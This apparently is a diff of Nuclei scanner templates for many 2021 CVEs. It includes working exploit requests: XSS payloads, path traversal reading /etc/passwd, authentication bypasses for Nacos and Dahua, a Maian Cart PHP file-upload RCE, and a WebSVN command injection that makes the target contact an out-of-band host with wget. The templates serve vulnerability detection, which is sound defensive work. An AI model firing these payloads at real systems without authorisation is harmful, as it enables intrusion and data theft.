Infinity' - - type: dsl - dsl: - - compare_versions(version, '< 8.5.2', '>= 8.2.1') - -# Enhanced by mp on 2022/05/17 +# digest: 490a0046304402203961702adc13f941d5021a58cb24c43122ab76bc1f82483a4b260e3d9c12ffe1022029d68f1afb1fd730ce0a8e039b84d1b1c25ac3523aeb140b8372a149d6772c88:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-27748.yaml b/poc/cve/CVE-2021-27748.yaml index 23f9aef7c7..90316ed9a6 100644 --- a/poc/cve/CVE-2021-27748.yaml +++ b/poc/cve/CVE-2021-27748.yaml @@ -1,33 +1,43 @@ id: CVE-2021-27748 + info: name: IBM WebSphere HCL Digital Experience - Server-Side Request Forgery author: pdteam severity: high description: | - IBM WebSphere HCL Digital Experience is susceptible to server-side request forgery vulnerability that impacts on-premise deployments and containers. + IBM WebSphere HCL Digital Experience is vulnerable to server-side request forgery that impacts on-premise deployments and containers. + remediation: | + Apply the latest security patches or updates provided by IBM to mitigate this vulnerability. reference: - https://blog.assetnote.io/2021/12/26/chained-ssrf-websphere/ - https://support.hcltechsw.com/csm?id=kb_article&sysparm_article=KB0095665 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27748 + - hhttps://nvd.nist.gov/vuln/detail/CVE-2022-31268 classification: cve-id: CVE-2021-27748 metadata: verified: true + max-request: 2 shodan-query: http.html:"IBM WebSphere Portal" tags: cve,cve2021,hcl,ibm,ssrf,websphere -requests: + +http: - method: GET path: - - '{{BaseURL}}/docpicker/internal_proxy/http/interact.sh' - - '{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/interact.sh' - redirects: true + - '{{BaseURL}}/docpicker/internal_proxy/http/oast.me' + - '{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/oast.me' + + host-redirects: true max-redirects: 2 stop-at-first-match: true + matchers-condition: and matchers: - type: word words: - "Interactsh Server" + - type: status status: - 200 + +# digest: 4a0a0047304502200d8020b3a03e84cf3bd87a7632f865e6057f37365325c521fabb4a70dadc061d022100bddaa747926664b7fbf81cce7b87cc9d0b411c9c1a63f64776edd962f4d3d1e5:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2021-28918.yaml b/poc/cve/CVE-2021-28918.yaml index d77d0f20f2..a28e3035b4 100644 --- a/poc/cve/CVE-2021-28918.yaml +++ b/poc/cve/CVE-2021-28918.yaml @@ -1,42 +1,27 @@ id: CVE-2021-28918 - info: name: Netmask NPM Package - Server-Side Request Forgery author: johnjhacking severity: critical description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts. - remediation: | - Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability. reference: - https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md - https://github.com/advisories/GHSA-pch5-whg9-qr2r - https://nvd.nist.gov/vuln/detail/CVE-2021-28918 - https://github.com/rs/node-netmask - - https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cve-id: CVE-2021-28918 - cwe-id: CWE-704 - epss-score: 0.02368 - epss-percentile: 0.88659 - cpe: cpe:2.3:a:netmask_project:netmask:*:*:*:*:*:node.js:*:* - metadata: - max-request: 3 - vendor: netmask_project - product: netmask - framework: node.js + cwe-id: CWE-20 tags: cve,cve2021,npm,netmask,ssrf,lfi - -http: +requests: - method: GET path: - "{{BaseURL}}/?url=http://0177.0.0.1/server-status" - "{{BaseURL}}/?host=http://0177.0.0.1/server-status" - "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd" - stop-at-first-match: true - matchers-condition: or matchers: - type: word @@ -45,8 +30,8 @@ http: - "Apache Server Status" - "Server Version" condition: and - - type: regex regex: - "root:.*:0:0:" -# digest: 4a0a0047304502202491d328e3ffa58331323166e456aa5b9b96635f47069458662271a260790d28022100ac067cc4647598603ecc6d217eca1ae8825a201b8be31500b47669bf2c081e72:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/17 diff --git a/poc/cve/CVE-2021-29441.yaml b/poc/cve/CVE-2021-29441.yaml index fbae019597..4b252eb51c 100644 --- a/poc/cve/CVE-2021-29441.yaml +++ b/poc/cve/CVE-2021-29441.yaml @@ -1,5 +1,4 @@ id: CVE-2021-29441 - info: name: Nacos <1.4.1 - Authentication Bypass author: dwisiswant0 @@ -12,8 +11,6 @@ info: enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed. This issue may allow any user to carry out any administrative tasks on the Nacos server. - remediation: | - Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29441). reference: - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ - https://github.com/alibaba/nacos/issues/4701 @@ -24,16 +21,8 @@ info: cvss-score: 9.8 cve-id: CVE-2021-29441 cwe-id: CWE-290 - epss-score: 0.96644 - epss-percentile: 0.99533 - cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: alibaba - product: nacos tags: nacos,auth-bypass,cve,cve2021 - -http: +requests: - raw: - | POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 @@ -44,8 +33,7 @@ http: Host: {{Hostname}} Accept: */* User-Agent: Nacos-Server - - + req-condition: true matchers-condition: and matchers: - type: dsl @@ -53,15 +41,14 @@ http: - "status_code_1 == 403" - "status_code_2 == 200" condition: and - - type: dsl dsl: - "contains(body_1, 'Forbidden')" - "body_2 == 'true'" condition: and - - type: word - part: header words: - "application/json" -# digest: 490a00463044022060ba55527d39e6b0993a81ffcf8db1195956c498c5402504af6f338c4b42a66802202778de61f3739386ccfd80a8be9bbbba365b1f5ef7dad5fe3c42d990e7674ae1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + part: header + +# Enhanced by mp on 2022/05/17 diff --git a/poc/cve/CVE-2021-29625.yaml b/poc/cve/CVE-2021-29625.yaml index d5e3bd655d..f1f4a01178 100644 --- a/poc/cve/CVE-2021-29625.yaml +++ b/poc/cve/CVE-2021-29625.yaml @@ -1,21 +1,31 @@ id: CVE-2021-29625 info: - name: Adminer reflected XSS via the table parameter + name: Adminer <=4.8.0 - Cross-Site Scripting author: daffainfo - description: Adminer is open-source database management software. A cross-site scripting vulnerability in Adminer versions 4.6.1 to 4.8.0 affects users of MySQL, MariaDB, PgSQL and SQLite. XSS is in most cases prevented by strict CSP in all modern browsers. The only exception is when Adminer is using a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled). In browsers without CSP, Adminer versions 4.6.1 to 4.8.0 are affected. The vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`). severity: medium + description: Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled). + remediation: This vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`). reference: - https://sourceforge.net/p/adminer/bugs-and-features/797/ - - https://www.cvedetails.com/cve/CVE-2021-29625/ - tags: cve,cve2021,adminer,xss + - https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7 + - https://nvd.nist.gov/vuln/detail/CVE-2021-29625 + - https://github.com/vrana/adminer/security/advisories/GHSA-2v82-5746-vwqc classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2021-29625 cwe-id: CWE-79 + epss-score: 0.00212 + epss-percentile: 0.59053 + cpe: cpe:2.3:a:adminer:adminer:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: adminer + product: adminer + tags: cve,cve2021,adminer,xss -requests: +http: - method: GET path: - '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' @@ -23,15 +33,16 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "" - part: body - type: word + part: header words: - "text/html" - part: header - type: status status: - 200 +# digest: 4b0a00483046022100b3d21c86a011d513281864afbaa010b1c83e629b0196a56edce888caf60deade022100e4571334df327516cd442812242a823c4982ef206c1b500b34cba148424f6d7c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-3002.yaml b/poc/cve/CVE-2021-3002.yaml index a8b9715cb5..2f9a648697 100644 --- a/poc/cve/CVE-2021-3002.yaml +++ b/poc/cve/CVE-2021-3002.yaml @@ -1,19 +1,31 @@ id: CVE-2021-3002 + info: - name: Seo Panel 4.8.0 - Post based Reflected XSS + name: Seo Panel 4.8.0 - Cross-Site Scripting author: edoardottt severity: medium - description: Seo Panel 4.8.0 allows reflected XSS via the seo/seopanel/login.php?sec=forgot email parameter. + description: Seo Panel 4.8.0 contains a reflected cross-site scripting vulnerability via the seo/seopanel/login.php?sec=forgot email parameter. + remediation: | + Upgrade to a patched version of Seo Panel or apply the necessary security patches provided by the vendor. + reference: + - http://www.cinquino.eu/SeoPanelReflect.htm + - https://github.com/seopanel/Seo-Panel/issues/202 + - https://nvd.nist.gov/vuln/detail/CVE-2021-3002 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-3002 cwe-id: CWE-79 - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-3002 - - http://www.cinquino.eu/SeoPanelReflect.htm + epss-score: 0.00143 + epss-percentile: 0.50059 + cpe: cpe:2.3:a:seopanel:seo_panel:4.8.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: "seopanel" + product: seo_panel tags: cve,cve2021,seopanel,xss -requests: + +http: - raw: - | POST /seo/seopanel/login.php?sec=forgot HTTP/1.1 @@ -21,18 +33,22 @@ requests: Content-Type: application/x-www-form-urlencoded sec=requestpass&email=test%40test.com%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3e11&code=AAAAA&login= + matchers-condition: and matchers: - - type: status - status: - - 200 - type: word part: header words: - "text/html" + - type: word part: body words: - "" - "seopanel" condition: and + + - type: status + status: + - 200 +# digest: 4b0a0048304602210082f5e7a13fee3f6edebfaf2a07283b2f9645450b4e7195a6b4c60f203ef605a5022100f3db19a0362199f19c9d3a0c8b85dab3b7ee34fad4488fa1266d8c39db2963d4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-30497.yaml b/poc/cve/CVE-2021-30497.yaml index b31cacf0a9..923a735cd4 100644 --- a/poc/cve/CVE-2021-30497.yaml +++ b/poc/cve/CVE-2021-30497.yaml @@ -1,45 +1,21 @@ id: CVE-2021-30497 - info: - name: Ivanti Avalanche 6.3.2 - Local File Inclusion + name: Ivanti Avalanche Directory Traversal author: gy741 severity: high - description: Ivanti Avalanche 6.3.2 is vulnerable to local file inclusion because it allows remote unauthenticated user to access files that reside outside the 'image' folder. - remediation: | - Apply the latest security patches or updates provided by Ivanti to fix the LFI vulnerability in Avalanche 6.3.2. - reference: - - https://ssd-disclosure.com/ssd-advisory-ivanti-avalanche-directory-traversal/ - - https://forums.ivanti.com/s/article/Security-Alert-CVE-2021-30497-Directory-Traversal-Vulnerability?language=en_US - - https://help.ivanti.com/wl/help/en_us/aod/5.4/Avalanche/Console/Launching_the_Avalanche.htm - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30497 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-30497 - cwe-id: CWE-22 - epss-score: 0.96355 - epss-percentile: 0.99422 - cpe: cpe:2.3:a:ivanti:avalanche:6.3.2:*:*:*:*:windows:*:* - metadata: - max-request: 1 - vendor: ivanti - product: avalanche - framework: windows - tags: cve,cve2021,avalanche,traversal,lfi - -http: + description: A directory traversal vulnerability in Ivanti Avalanche allows remote unauthenticated user to access files that reside outside the 'image' folder + reference: https://ssd-disclosure.com/ssd-advisory-ivanti-avalanche-directory-traversal/ + tags: cve,cve2021,avalanche,traversal +requests: - method: GET path: - "{{BaseURL}}/AvalancheWeb/image?imageFilePath=C:/windows/win.ini" - matchers-condition: and matchers: - type: word part: body words: - "for 16-bit app support" - - type: status status: - 200 -# digest: 4b0a00483046022100f3daab2e19de9376cdb1c67f7ce0fa2c09800b59962d15b59b66ab6b30d8a0b70221008846186ca1af2a8474f662418df3e9eabfc3115771d53a08659e0a521d751756:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-31862.yaml b/poc/cve/CVE-2021-31862.yaml index 18a6c905b3..4ea3286691 100644 --- a/poc/cve/CVE-2021-31862.yaml +++ b/poc/cve/CVE-2021-31862.yaml @@ -1,26 +1,39 @@ id: CVE-2021-31862 + info: - name: SysAid - Reflected XSS + name: SysAid 20.4.74 - Cross-Site Scripting author: jas37 severity: medium - description: SysAid 20.4.74 allows XSS via the KeepAlive.jsp stamp parameter without any authentication. + description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter. + remediation: | + Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability. reference: - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md - - https://nvd.nist.gov/vuln/detail/CVE-2021-31862 - https://www.sysaid.com/product/on-premise/latest-release + - https://nvd.nist.gov/vuln/detail/CVE-2021-31862 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-31862 cwe-id: CWE-79 + epss-score: 0.00141 + epss-percentile: 0.4973 + cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: sysaid + product: sysaid tags: cve,cve2021,xss,sysaid -requests: + +http: - method: GET path: - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E' + matchers: - type: dsl dsl: - '(body == "false ")' - 'status_code == 200' condition: and +# digest: 4b0a00483046022100c441dee655b6a82ad7b63c97bc99d34e53c69206466bdda26da3544981647b7c02210082e4832b469842183f3dc326fe93ac4d7e4c145fcf40857d73b7e150b5bd0175:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-32172.yaml b/poc/cve/CVE-2021-32172.yaml index da35228ce2..42e5ed1026 100644 --- a/poc/cve/CVE-2021-32172.yaml +++ b/poc/cve/CVE-2021-32172.yaml @@ -1,33 +1,21 @@ id: CVE-2021-32172 - info: name: Maian Cart <=3.8 - Remote Code Execution author: pdteam severity: critical description: Maian Cart 3.0 to 3.8 via the elFinder file manager plugin contains a remote code execution vulnerability. - remediation: | - Upgrade to a patched version of Maian Cart (>=3.8) to mitigate this vulnerability. reference: - https://dreyand.github.io/maian-cart-rce/ - https://github.com/DreyAnd/maian-cart-rce - https://www.maianscriptworld.co.uk/critical-updates - https://nvd.nist.gov/vuln/detail/CVE-2021-32172 - - https://www.maianscriptworld.co.uk/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-32172 cwe-id: CWE-862 - epss-score: 0.26193 - epss-percentile: 0.96253 - cpe: cpe:2.3:a:maianscriptworld:maian_cart:3.8:*:*:*:*:*:*:* - metadata: - max-request: 3 - vendor: maianscriptworld - product: maian_cart - tags: cve,cve2021,rce,unauth,maian,intrusive - -http: + tags: cve,cve2021,rce,unauth,maian +requests: - raw: - | GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1 @@ -45,19 +33,19 @@ http: GET /product-downloads/{{randstr}}.php HTTP/1.1 Host: {{Hostname}} Accept: */* - - matchers: - - type: dsl - dsl: - - contains(body_3, "{{randstr_1}}") - - status_code_3 == 200 - condition: and - extractors: - type: regex name: hash + internal: true group: 1 regex: - '"hash"\:"(.*?)"\,' - internal: true -# digest: 4a0a004730450221009a605063c89eb6c246627ab45ddb1e094d1c3bae5236c14fa56dd40ce6135e87022068a03374fc8293d14c2f2f1605c3d8e9c90fa19d0f37d8931c20869b05e44abe:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + req-condition: true + matchers: + - type: dsl + dsl: + - 'contains(body_3, "{{randstr_1}}")' + - "status_code_3 == 200" + condition: and + +# Enhanced by mp on 2022/05/18 diff --git a/poc/cve/CVE-2021-3223.yaml b/poc/cve/CVE-2021-3223.yaml index e2935f0f73..8507a7009f 100644 --- a/poc/cve/CVE-2021-3223.yaml +++ b/poc/cve/CVE-2021-3223.yaml @@ -1,50 +1,35 @@ id: CVE-2021-3223 - info: - name: Node RED Dashboard <2.26.2 - Local File Inclusion + name: Node RED Dashboard - Directory Traversal author: gy741,pikpikcu severity: high - description: NodeRED-Dashboard before 2.26.2 is vulnerable to local file inclusion because it allows ui_base/js/..%2f directory traversal to read files. - remediation: | - Upgrade Node RED Dashboard to version 2.26.2 or later to mitigate the vulnerability. + description: Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files. reference: - https://github.com/node-red/node-red-dashboard/issues/669 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223 - https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2 - - https://nvd.nist.gov/vuln/detail/CVE-2021-3223 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-3223 cwe-id: CWE-22 - epss-score: 0.11532 - epss-percentile: 0.94684 - cpe: cpe:2.3:a:nodered:node-red-dashboard:*:*:*:*:*:node.js:*:* metadata: verified: true - max-request: 2 - vendor: nodered - product: node-red-dashboard - framework: node.js shodan-query: title:"Node-RED" fofa-query: title="Node-RED" tags: cve,cve2021,node-red-dashboard,lfi - -http: +requests: - method: GET path: - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd' - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js' - matchers-condition: or matchers: - - type: word - part: body - words: - - "Node-RED web server is listening" - - type: regex part: body regex: - "root:.*:0:0:" -# digest: 490a0046304402202e9724b5de55a2645274dd7e13367a2efbd8c60679ac00089a184aec8090ddca0220562846065a2fb3ec5cfcdd988b4bad30589d3c9529be7ed908122b60935c4e84:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - type: word + part: body + words: + - "Node-RED web server is listening" diff --git a/poc/cve/CVE-2021-32305.yaml b/poc/cve/CVE-2021-32305.yaml index d0d5e7eb16..5c6c729e5b 100644 --- a/poc/cve/CVE-2021-32305.yaml +++ b/poc/cve/CVE-2021-32305.yaml @@ -1,12 +1,9 @@ id: CVE-2021-32305 - info: name: Websvn <2.6.1 - Remote Code Execution author: gy741 severity: critical description: WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter. - remediation: | - Upgrade Websvn to version 2.6.1 or later to mitigate this vulnerability. reference: - https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html - https://github.com/websvnphp/websvn/pull/142 @@ -17,26 +14,18 @@ info: cvss-score: 9.8 cve-id: CVE-2021-32305 cwe-id: CWE-78 - epss-score: 0.96769 - epss-percentile: 0.99586 - cpe: cpe:2.3:a:websvn:websvn:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: websvn - product: websvn - tags: cve,cve2021,websvn,rce,oast,packetstorm - -http: + tags: cve,cve2021,websvn,rce,oast +requests: - raw: - | GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* - matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" -# digest: 4b0a00483046022100805b5332de5210648d6ced01c5406cb8551c2d0c7f41a69bbcd3f23f10093386022100ed0719e61e9ab5d250703abf2fd2e8c5f1064ed7c65d2adeef6fe1e2182936c6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/18 diff --git a/poc/cve/CVE-2021-32820.yaml b/poc/cve/CVE-2021-32820.yaml index b55b19322b..8640d87945 100644 --- a/poc/cve/CVE-2021-32820.yaml +++ b/poc/cve/CVE-2021-32820.yaml @@ -1,20 +1,49 @@ id: CVE-2021-32820 + info: - name: File disclosure in Express Handlebars - author: geeknik - description: By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross Site Scripting (XSS) to Remote Code Execution (RCE). - reference: https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/ - severity: medium - tags: cve,cve2021,express,handlebars,disclosure -requests: + name: Express-handlebars - Local File Inclusion + author: dhiyaneshDk + severity: high + description: Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability. + remediation: | + Update to the latest version of Express-handlebars to mitigate the vulnerability. + reference: + - https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/ + - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json + - https://github.com/express-handlebars/express-handlebars/pull/163 + - https://nvd.nist.gov/vuln/detail/CVE-2021-32820 + - https://github.com/express-handlebars/express-handlebars/blob/78c47a235c4ad7bc2674bddd8ec2721567ed8c72/README.md#danger- + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cve-id: CVE-2021-32820 + cwe-id: CWE-94,CWE-200 + epss-score: 0.00929 + epss-percentile: 0.81196 + cpe: cpe:2.3:a:express_handlebars_project:express_handlebars:*:*:*:*:*:node.js:*:* + metadata: + max-request: 1 + vendor: express_handlebars_project + product: express_handlebars + framework: node.js + tags: cve,cve2021,expressjs,lfi,xxe + +http: - method: GET path: - - "{{BaseURL}}/?layout=/etc/resolv.conf" + - "{{BaseURL}}/?layout=/etc/passwd" + matchers-condition: and matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + - "daemon:[x*]:0:0:" + - "operator:[x*]:0:0:" + condition: or + - type: status status: - 200 - - type: word - words: - - "nameserver " +# digest: 4a0a0047304502203b39422a113c61e682275d1fb4bd1f30c168cbfd452f5e53122f1af180fdebdf022100ccb88bf965a47d6ea36371f0d67b8d19d5c20e699e07dad0a635cbcbac2dfbb4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-32853.yaml b/poc/cve/CVE-2021-32853.yaml index 325466cff1..410d478e13 100644 --- a/poc/cve/CVE-2021-32853.yaml +++ b/poc/cve/CVE-2021-32853.yaml @@ -1,19 +1,37 @@ id: CVE-2021-32853 + info: - name: Erxes <= v0.23.0 XSS + name: Erxes <0.23.0 - Cross-Site Scripting author: dwisiswant0 - severity: medium - description: Erxes prior to version 0.23.0 is vulnerable to cross-site scripting.The value of topicID parameter is not escaped & triggered in the enclosing script tag. + severity: critical + description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag. + remediation: | + Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability. reference: - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/ - https://nvd.nist.gov/vuln/detail/CVE-2021-3285 + - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14 + - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H + cvss-score: 9.6 + cve-id: CVE-2021-32853 + cwe-id: CWE-79 + epss-score: 0.01422 + epss-percentile: 0.85036 + cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:* metadata: + max-request: 1 + vendor: erxes + product: erxes shodan-query: http.title:"erxes" tags: cve,cve2021,xss,erxes,oss -requests: + +http: - method: GET path: - "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + matchers-condition: and matchers: - type: word @@ -22,10 +40,13 @@ requests: - 'topic_id: "' - "window.erxesEnv" condition: and + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 4a0a0047304502202aeaed0f1a0c16cda1966c1c10fde09f5006356f5d8c8aa702f583a2ab63c0a9022100ae148b298adaa3c9ade571948bf4a12fb59cfcd6c9f8eccd51f096e164861ba8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-33044.yaml b/poc/cve/CVE-2021-33044.yaml index 59c60d4854..6a8a3d2af4 100644 --- a/poc/cve/CVE-2021-33044.yaml +++ b/poc/cve/CVE-2021-33044.yaml @@ -1,22 +1,32 @@ id: CVE-2021-33044 info: - name: Dahua IPC/VTH/VTO devices Authentication Bypass + name: Dahua IPC/VTH/VTO - Authentication Bypass author: gy741 severity: critical - description: The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets. + description: Some Dahua products contain an authentication bypass during the login process. Attackers can bypass device identity authentication by constructing malicious data packets. + remediation: | + Apply the latest firmware update provided by Dahua to fix the authentication bypass vulnerability. reference: - https://github.com/dorkerdevil/CVE-2021-33044 - https://nvd.nist.gov/vuln/detail/CVE-2021-33044 - https://seclists.org/fulldisclosure/2021/Oct/13 + - https://www.dahuasecurity.com/support/cybersecurity/details/957 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 + cvss-score: 9.8 cve-id: CVE-2021-33044 cwe-id: CWE-287 - tags: dahua,cve,cve2021,auth-bypass + epss-score: 0.30474 + epss-percentile: 0.96491 + cpe: cpe:2.3:o:dahuasecurity:ipc-hum7xxx_firmware:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: dahuasecurity + product: ipc-hum7xxx_firmware + tags: dahua,cve,cve2021,auth-bypass,seclists -requests: +http: - raw: - | POST /RPC2_Login HTTP/1.1 @@ -32,11 +42,6 @@ requests: matchers-condition: and matchers: - - - type: status - status: - - 200 - - type: word part: body words: @@ -46,9 +51,15 @@ requests: - 'session' condition: and + - type: status + status: + - 200 + extractors: - type: regex group: 1 - part: body regex: - ',"result":true,"session":"([a-z]+)"\}' + part: body + +# digest: 4a0a00473045022043730e623d6412b5c4b6c509d7f7713cdc024a7a93fd3872fd78af6245c380dc022100e6a8cbf46005828790d397d9f7ca04344faa72c547c443093ff615f7d89b57ef:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2021-35323.yaml b/poc/cve/CVE-2021-35323.yaml new file mode 100644 index 0000000000..b7197db878 --- /dev/null +++ b/poc/cve/CVE-2021-35323.yaml @@ -0,0 +1,59 @@ +id: CVE-2021-35323 + +info: + name: Bludit 3.13.1 - Cross Site Scripting + author: r3Y3r53 + severity: medium + description: | + Cross Site Scripting (XSS) vulnerability exists in bludit 3-13-1 via the username in admin/login + remediation: Bludit v4.0.0 + reference: + - https://github.com/bludit/bludit/issues/1327 + - https://nvd.nist.gov/vuln/detail/CVE-2021-35323 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-35323 + cwe-id: CWE-79 + epss-score: 0.00183 + epss-percentile: 0.55492 + cpe: cpe:2.3:a:bludit:bludit:3.13.1:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: bludit + product: bludit + shodan-query: title:"Bludit" + tags: cve,cve2021,bludit,xss + +http: + - raw: + - | + GET /bludit/admin/login HTTP/1.1 + Host: {{Hostname}} + - | + @timeout: 10s + POST /bludit/admin/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + tokenCSRF={{tokenCSRF}}&username=admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&password=pass&save= + + host-redirects: true + matchers: + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(content_type_2, "text/html")' + - 'contains(body_2, "") && contains(body_2, "Bludit")' + condition: and + + extractors: + - type: regex + name: tokenCSRF + part: body + group: 1 + regex: + - 'type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*)"' + internal: true +# digest: 